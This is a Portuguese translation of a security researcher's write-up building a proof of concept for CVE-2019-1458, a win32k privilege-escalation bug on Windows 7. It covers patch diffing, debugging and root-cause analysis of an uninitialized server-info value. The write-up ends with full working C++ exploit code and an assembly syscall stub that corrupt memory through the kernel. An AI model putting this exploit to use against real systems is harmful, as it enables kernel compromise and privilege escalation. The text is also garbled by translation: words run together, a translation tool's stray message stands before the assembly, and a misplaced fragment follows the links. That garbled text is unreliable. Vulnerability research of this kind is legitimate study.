
POC para cve-2019-1458
Em dezembro, a Kaspersky publicou um post em blog sobre [exploit 0day usado ativamente in the wild][1]. Isso despertou meu interesse, pois embora tenham descrito como o exploit funcionava, eles não forneceram nenhum POC em sua análise.
Foi por isso que decidi tentar escrever um POC para esta vulnerabilidade com base no post do blog da Kaspersky e na análise do patch.
Este post descreve minha jornada nesse processo.
A primeira coisa foi coletar o máximo de informações possível sobre esta vulnerabilidade. Ao ler o post mencionado, extraí as seguintes informações:
NtUserMessageCallwin32k!DrawSwitchWndHiliteAlém disso, há uma boa captura de tela do código decompilado mostrando algumas das coisas listadas anteriormente.
Para ser exato, ela mostra: a criação da janela de alternância, a chamada a uma função chamada toggle_alt_key e múltiplas chamadas a NtUserMessageCall.
[Fonte da imagem][1]
Muita informação útil, mas ainda assim não descreve exatamente como essa vulnerabilidade funciona e como acioná-la.
[O módulo afetado era o win32k.sys][2]. Baixei as versões corrigida e não corrigida desse módulo.
Para Windows 7 x64, essas foram:
Elas podem ser baixadas do [Catálogo do Microsoft Update][3]
Aqui está o resultado do bindiff comparando as duas versões

Após descartar funções relacionadas à funcionalidade DebugHook, o que realmente nos resta é esta função ligeiramente alterada InitFunctionTables()

Definitivamente não é o maior patch que existe.
Isso não ajudará a identificar imediatamente a causa raiz dessa vulnerabilidade. Mas vale notar que alguns valores iniciais para variáveis em
*(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180) foram adicionados. Portanto, isso pode ser um bug relacionado a variável não inicializada.
Nesta seção, apresentarei como construí progressivamente um POC que aciona essa vulnerabilidade, enquanto simultaneamente descobria o que a vulnerabilidade realmente era.
O diffing de patches não forneceu muitas informações úteis no início, então dependi principalmente do post do blog da Kaspersky na primeira etapa do desenvolvimento.
Para ter um bom ambiente de teste, preparei uma VM Win7 SP1 x64 com a última versão vulnerável do win32k em execução. Além disso, anexei o Windbg a essa VM para fazer depuração de kernel e, durante isso, configurei também o caminho do servidor de símbolos.
Comecei minha investigação olhando para win32k!DrawSwitchWndHilite, mencionado no post do blog. Ela é chamada a partir de dois lugares: xxxMoveSwitchWndHilite e xxxPaintSwitchWindow; esta última chamou minha atenção imediatamente, por causa das chamadas a GetKeyState/GetAsyncKeyState ao redor, que foram mencionadas no relatório original. Além disso, essas chamadas verificam se a tecla ALT está pressionada.

Chamada a DrawSwitchWndHilite a partir de xxxPaintSwitchWindow
Continuando a seguir as referências cruzadas de chamadas (xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow->DrawSwitchWndHilite), descobri que o primeiro elemento dessa cadeia é referenciado em InitFunctionTables, função que foi corrigida no patch.
Em seguida, examinei NtUserMessageCall da captura de tela do código decompilado.
Aqui está a declaração dessa função```cpp
NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)
O exploit está chamando-o com `msg = 0x14` e `dwType = 0xE0`. Vamos ver o que isso faz.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1);
Aqui registrei uma classe de janela simples e criei uma janela dessa classe. Então chamei NtUserMessageCall com os mesmos parâmetros do exploit. Para ver o que acontece internamente, configurei o breakpoint kd> ba e 1 win32k!NtUserMessageCall e executei o código.
Existem algumas chamadas sendo feitas para essa função, então tive que capturar a correta, mas não foi tão difícil, era a que tinha uma pilha de chamadas realmente curta.

NtUserMessageCall
Percorrendo o código passo a passo, descobri que ele chama uma função do array gapfnMessageCall; o índice é calculado com base no valor de msg e é igual a 0, então a chamada é feita para NtUserfnDWORD

NtUserfnDWORD
A próxima chamada é feita usando o valor de dwType, e agora o offset de gpsi é igual a 0x40, e a chamada leva a xxxWrapSwitchWndProc (essa função já apareceu quando eu estava verificando a cadeia de chamadas de DrawSwitchWndHilite).
xxxWrapSwitchWndProc simplesmente chama xxxSwitchWndProc.

xxxSwitchWndProc
E este é o fim; o código falha aqui, não indo mais adiante até xxxPaintSwitchWindow, que é onde queremos chegar com base no valor de msg (0x14). Vamos verificar o porquê.
O código falha nesse estágio porque, como destacado na imagem anterior, o fnid da nossa janela não é igual a 0x2A0 (FNID_SWITCH) e a mensagem que estamos enviando não é igual a 1; portanto, acabamos em xxxDefWindowProc. Para evitar esse cenário, temos que chamar xxxSwitchWndProc com o fnid definido como FNID_SWITCH, de modo que iremos direto para a instrução switch e, depois, para xxxPaintSwitchWindow.
Como definir o fnid correto? Na verdade, a mesma função faz isso no primeiro bloco if; só precisamos falhar em todas as verificações dentro dele para chegar à instrução que define o fnid.
Aqui estão as condições que precisamos atender para falhar nas três verificações if:
fnid == 0 and cbwndExtra + 0x128 >= *(gpsi + 0x154)0 para cada janela de usuário recém-criada.
*(gpsi+0x154) é igual a 0 no win32k! sem patch. Mas mesmo que fosse definido como 0x130, como na versão corrigida, poderíamos definir cbwndExtra como 8 ou mais e ainda assim ignorar a primeira verificação.msg == 1NtUserMessageCall. Embora com msg definido como 1 o fluxo de controle passe por NtUserfnINLPCREATESTRUCT em vez de NtUserfnDWORD, ele ainda termina em xxxSwitchWndProc.Se todas essas condições forem atendidas, o fnid da janela será definido como FNID_SWITCH.
Então agora precisamos chamar NtUserMessageCall duas vezes: a primeira com msg igual a 1 para definir o fnid desejado, e a segunda para alcançar xxxPaintSwitchWindow.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc
printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }
printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }
printf("[] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE/ = 1*/, 0, 0, 0, 0x0, 1);
printf("[] Calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND/ = 0x14*/, 0, 0, 0, 0x0, 1);
Adicionei `extraData` à classe de janela e adicionei uma segunda chamada a `NtUserMessageCall`. Agora o fluxo de controle consegue alcançar `xxxPaintSwitchWindow`.
(Nota lateral: `dwType` não precisa ser igual a `0xE0`; `0` funciona igualmente bem, já que ele passa por um AND com `0x1F` de qualquer forma em `NtUserfnDWORD`)

*`xxxPaintSwitchWindow`*
Ao examinar mais de perto, notei que o valor `extraWndData`, obtido do objeto de janela (linha 25), está sendo usado como um ponteiro para escrita (linhas 46 a 52)! Se eu conseguir alcançar o código que define `extraWndData` com um valor controlado por mim, posso corromper memória arbitrária!
Para alcançá-lo, primeiro preciso passar por mais algumas verificações (marcadas em vermelho)
- Verificar se a janela tem o flag `WS_VISIBLE` definido.
Esse flag pode ser definido em `CreateWindowEx`
- `fnid == 0x2A0` e `cbwndExtra + 0x128 == *(gpsi + 0x154)`
O `Fnid` já é definido pela primeira `NtUserMessageCall`.
O problema surge com a segunda parte dessa verificação, pois `*(gpsi + 0x154)` não é inicializado no módulo `win32k` vulnerável; portanto, essa verificação sempre falhará. A menos que, de alguma forma, definamos `*(gpsi+0x154)` com o valor correto. Acontece que criar a janela de alternância especial, mencionada no post da Kaspersky, faz exatamente isso.
- Verificar se a janela não foi destruída.
Já é atendida neste caso.
Para criar a [janela de alternância especial][4], precisamos chamar `CreateWindowEx` com o nome definido como `0x8003` (`#32771`). Isso acabará fazendo com que `InternalRegisterClassEx` seja chamada no kernel.

*fragmento da função `InternalRegisterClassEx`*
Isso inicializará `*(gpsi+0x154)` com `0x130`.
O efeito colateral disso é que, uma vez que definimos essa variável, não há como redefini-la de volta para 0. Portanto, só temos uma chance de executar o exploit. Qualquer outra tentativa falhará até a próxima reinicialização.
### Controlando o valor desreferenciado
Agora sou capaz de controlar `extraWndData`, que posteriormente é desreferenciado como ponteiro e usado como destino de escrita em `xxxPaintSwitchWindow`. `extraWndData` pode ser controlado ao chamar```cpp
SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong)
Um ponto a ter em mente é que essa chamada tem que ser feita após a primeira chamada a NtUserMessageCall, porque, como foi mostrado, xxxSwitchWndProc precisa que o extraData da janela esteja definido como 0 nessa primeira chamada, para contornar as verificações necessárias.
Além disso, SetWindowLongPtr tem que ser invocado antes da criação da janela de switch, e aqui está o porquê:
fragmento da função xxxSetWindowLong
É aqui que realmente fazemos uso da variável não inicializada *(gpsi + 0x154).
Quando essa verificação passa, definimos wnd->extraData para um valor arbitrário.
Se isso fosse corretamente inicializado, o exploit falharia aqui.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc
printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }
printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);
printf("[] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, 0x4141414141414); printf("[] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
Aqui está o resultado da execução do código acima

Pouco depois disso, obtemos um bugcheck quando `rdi` é desreferenciado.
Executando o mesmo exploit no Windows corrigido:```
[*] Registering window
[*] Creating instance of this window
[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window
[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced
bold:[*] GetLastError = 585
[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130
[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time
SetWindowLongPtr falha com o código de erro 0x585 porque *(gpsi + 0x154) não está devidamente inicializado. E o kernel não trava.
Para resumir, o principal problema era a variável não inicializada *(gpsi+0x154).
Mas o que é esse valor e por que ele é importante?
gpsi é um ponteiro global para a estrutura [tagSERVERINFO][5]. Essa estrutura, entre outras coisas, descreve janelas do sistema (ou seja, menus, área de trabalho, alternância etc), ao contrário das janelas definidas pelo usuário.
Essas janelas do sistema são identificadas pelo seu FNID; por exemplo, 0x2A0 significa janela de alternância.
Quando a classe de janela é definida usando RegisterClassEx, temos a oportunidade de especificar o campo cbWndExtra em WNDCLASSEX. Esse campo descreve quantos bytes extras serão alocados além da estrutura tagWND, para armazenar algumas informações específicas da janela.
Em seguida, podemos modificar esses bytes extras usando SetWindowLongPtr.
As janelas do sistema usam exatamente o mesmo mecanismo para armazenar dados adicionais de que precisam para funcionar. Mas, em princípio, esses dados não deveriam ser acessíveis por meio de SetWindowLongPtr.
E vimos que, de fato, existe uma verificação em xxxSetWindowLongPtr que deveria impedir isso. Depois de aplicar as informações de tipo, esta é a verificação:```
if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND))
goto exit_with_error
O array `gpsi->mpFnid_serverCBWndProc` descreve qual é o tamanho de um determinado objeto de janela do sistema, incluindo dados extras.
`*(gpsi+0x154)` torna-se `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`
Ao deixar este campo não inicializado, `xxxSetWindowLongPtr` pensa que o tamanho dos dados extras é `-sizeof(tagWND)`, portanto somos capazes de escrever em um campo que deveria ser privado à estrutura da janela switch.
A causa raiz desta vulnerabilidade era, então, uma variável não inicializada (ou melhor, inicializada com 0 por padrão) `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`.
Isso explica por que o patch era tão pequeno. Tudo o que precisava ser feito era defini-la para `sizeof(tagWND) + 8`. Da mesma forma, agora também outros elementos do array `mpFnid_serverCBWndProc` são inicializados, algo que anteriormente não era feito (`FNID_DESKTOP`, `FNID_TOOLTIPS`), provavelmente também para prevenir quaisquer variantes futuras deste exploit.

## Corrompendo memória
Com o estado atual do exploit, conseguimos acionar um bugcheck, mas a falha ocorre na instrução:```asm
xxxPaintSwitchWindow + 0x8B:
cmp [rdi+6Ch], r13d ; rdi = 0x4141414141414
O último passo para preparar este POC seria então provocar um crash mais útil ou, melhor ainda, conseguir corromper alguma memória e não falhar de forma alguma.
Para atingir esse último objetivo, precisamos de:
VirtualAlloc e passar o ponteiro retornado para SetWindowLongPtrGetKeyState/GetAsyncKeyState em xxxPaintSwitchWindow que verificam se a tecla ALT está pressionada. E, se não for esse o caso, a função sai.GetKeyState ou GetAsyncKeyState é decidida com base em uma flag em [extraWndData+6Ch].
Optei por simular o pressionamento de ALT usando uma chamada a SetKeyboardState. Isso funcionará apenas com GetKeyState, então preciso definir o valor no offset 0x6C para `1````cpp
ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SetWindowLongPtr(sploitWnd, 0, ptr);BYTE keyData[256]; GetKeyboardState(keyData); keyData[VK_MENU] |= 0x80; // simulate ALT SetKeyboardState(keyData);
((BYTE*)ptr)[0x6c] = 1; // force use of GetKeyState inside xxxPaintSwitchWindow
Com este código obtive um crash diferente.```asm
DrawSwitchWndHilite + 0x10A:
mov rcx, [r12+20h]
mov dl, 1
mov rcx, [rcx] ; rcx = 0
Então eu também forneço um ponteiro válido no offset 0x20 (que aponta para si mesmo)```cpp
ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed
Agora o exploit funciona sem falhar, e quando examinamos o conteúdo da página alocada, podemos ver que ela foi modificada!

Conseguimos um POC de exploit estável que corrompe a memória que lhe é fornecida. Esta é uma situação muito melhor do que um POC que falha na leitura de memória, porque essa corrupção arbitrária de memória pode ser mais facilmente transformada em leitura/escrita arbitrária do kernel. Além disso, já extraímos os requisitos que a memória a ser corrompida tem de cumprir.
## Conclusão
Neste passo a passo, apresentei como passei da descrição do exploit e da vulnerabilidade para um POC funcional que pode ser transformado em um exploit de kernel útil.
Este foi um exploit bastante interessante que foi possível por causa de uma única linha em falta. Então acho que a lição é: inicialize sempre as suas variáveis globais.
## POC``` cpp
#include <cstdio>
#include <windows.h>
extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
int main() {
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);
printf("[*] Allocate memory to be used for corruption\n");
PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("\tptr: %p\n", mem);
PBYTE byteView = (PBYTE)mem;
byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow
//pass DrawSwitchWndHilite double dereference
PVOID* ulongView = (PVOID*)mem;
ulongView[0x20 / sizeof(PVOID)] = mem;
printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
printf("[*] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Simulating alt key press\n");
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}
I received no translatable content in this chunk. Please provide the source text for chunk 25 of 27 and I will translate it into Portuguese.```asm _DATA SEGMENT _DATA ENDS _TEXT SEGMENT
PUBLIC NtUserMessageCall NtUserMessageCall PROC mov r10, rcx mov eax, 1007h ; Win7 sp1 syscall ret NtUserMessageCall ENDP _TEXT ENDS END
[1]: https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/
[2]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458
[3]: https://www.catalog.update.microsoft.com/Home.aspx
[4]: https://docs.microsoft.com/en-us/windows/win32/winauto/switch-window
[5]: https://www.reactos.org/wiki/Techwiki:Win32k/SERVERINFO
[6]: https://media.paloaltonetworks.com/lp/endpoint-security/blog/the-case-for-smep-exploiting-a-kernel-vulnerability.html
extraData == 0cbwndExtra mencionado. O ExtraData é anexado logo após a estrutura tagWND (adicionei esse campo à estrutura tagWND no IDA como QWORD no offset sizeof(tagWND), para deixar o código decompilado um pouco mais legível). Seu valor pode ser definido com uma chamada a SetWindowLongPtr.